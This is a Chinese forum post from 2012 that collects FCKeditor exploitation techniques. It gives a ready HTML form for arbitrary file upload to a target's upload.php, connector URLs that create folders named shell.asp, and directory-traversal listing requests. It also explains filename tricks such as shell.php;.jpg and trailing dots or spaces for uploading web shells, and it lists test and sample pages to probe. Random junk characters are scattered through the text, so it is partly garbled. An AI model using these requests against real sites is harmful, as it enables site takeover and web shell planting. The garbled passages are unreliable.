|
Fckeditor漏洞利用总结 查看编辑器版本+ b( H) v: S* O& c7 E0 N# s
FCKeditor/_whatsnew.html
6 S1 B/ T+ K9 S4 ^4 T, t! D# Q————————————————————————————————————————————————————————————— 2. Version 2.2 版本( y1 {9 V! n; f" _
Apache+linux 环境下在上传文件后面加个.突破！测试通过。4 N [1 T8 H: b9 M
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。; k, b! T0 U7 M; N& |
<form id="frmUpload" enctype="multipart/form-data"0 Z f! n0 x# q8 q0 L/ `
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
, t% Z. u4 q2 `" ?5 t- e' T) D8 \& J<input type="file" name="NewFile" size="50"><br>& W/ x' W& R/ C0 K
<input id="btnUpload" type="submit" value="Upload">
; G& w/ ?+ u1 Q! k7 ]1 {- y</form>+ C4 x& M' _* Q0 |4 O
————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
! d8 d% [$ n8 r1 u7 r4 l G0 N 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
9 u. B4 \7 D' l- j 4.1：提交shell.php+空格绕过1 d3 C; W x( y7 L
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。# H& A! g' } W: P
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。7 I" n r. C* O# t
————————————————————————————————————————————————————————————— 5. 突破建立文件夹$ M# \; o1 j x/ A3 ], k" F8 _+ \
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
# E# k+ g, \$ H. rFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp" j" t( {* {7 p. h! x9 g* U/ z# i0 }
————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
' ^* C% s7 e. \FCKeditor/editor/filemanager/browser/default/connectors/test.html1 p+ e; T& A4 Z% r+ ?1 W
FCKeditor/editor/filemanager/upload/test.html
/ n. C; T( ?1 \2 mFCKeditor/editor/filemanager/connectors/test.html0 i3 S/ _5 W2 t' n5 |3 L4 r" ~
FCKeditor/editor/filemanager/connectors/uploadtest.html x5 N D" ]9 B$ M
—————————————————————————————————————————————————————————————
2 |. L7 e* S! {9 n B- V5 H' k 7.常用上传地址
0 B) u6 T) m8 a- f. tFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/5 T8 H4 X: o2 g% n3 M/ b/ G
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
+ v- K0 g; |( }) T( e BFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
9 c6 W% b f( {) a0 h% N- _JSP 版：
: u9 E( z: w9 \: jFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
7 t, n; v9 ]: y/ [8 d. t/ N' E, q注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文* D. [- Q a" G2 [
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
" O6 K, {* n8 J1 x————————————————————————————————————————————————————————————— 8.其他上传地址
V' g% k+ {) r1 J. uFCKeditor/_samples/default.html% {% v, R% ~( N; W2 B9 h
FCKeditor/_samples/asp/sample01.asp' X. s" C1 X$ {4 W9 E+ ]
FCKeditor/_samples/asp/sample02.asp
. H# Q2 ^1 ^1 k, dFCKeditor/_samples/asp/sample03.asp4 o+ `+ j/ y2 Y3 N' Y. _. i9 {! \) F
FCKeditor/_samples/asp/sample04.asp
+ q! D8 C! [ s. q3 T& ~一般很多站点都已删除_samples 目录，可以试试。
z/ [( n' H) S& m0 D) a9 u9 ?/ c/ ?FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。" _" K( z; i! J; T; L$ s7 {
————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址+ W3 X& o( M4 C. W9 c# e& \
Version 2.4.1 测试通过$ Q: y9 Z- R) H! j3 E" P0 E
修改CurrentFolder 参数使用 ../../来进入不同的目录. d8 [! L! s* i, s s8 b" Y( \
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
) P& k a" e, }/ C0 S/ {1 I( k3 [$ J+ h根据返回的XML 信息可以查看网站所有的目录。
! v8 h/ `1 w. S2 Y& u& QFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
$ b" l+ `3 Q' ~; J' ~8 C, y也可以直接浏览盘符：
3 `- e& m) S/ ?& BJSP 版本：
" Q" w+ A; P; i! ^FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
+ A+ W- _4 u1 z- j7 ?, t————————————————————————————————————————————————————————————— 10.爆路径漏洞' ?( Q. Q+ c& \$ i, O
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp: w0 P+ e+ r! r* W/ v f$ R# x: U1 p5 f$ Z
————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题: B) X! O, D- H, D1 W! ^
影响版本: FCKeditor x.x <= FCKeditor v2.4.3$ B) U9 a/ i' S0 B1 |0 T
脆弱描述：0 ?% b8 H t8 f4 B5 n5 O
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：) M' S8 s% f& G" Y8 n
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
3 P; r9 v8 y+ g! hFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
; L# T0 ?; Y; [ 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。( _( b6 p/ x+ d1 o4 n7 A0 e1 y
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! | 
发表于 2012-9-5 20:23:31
收藏
支持
反对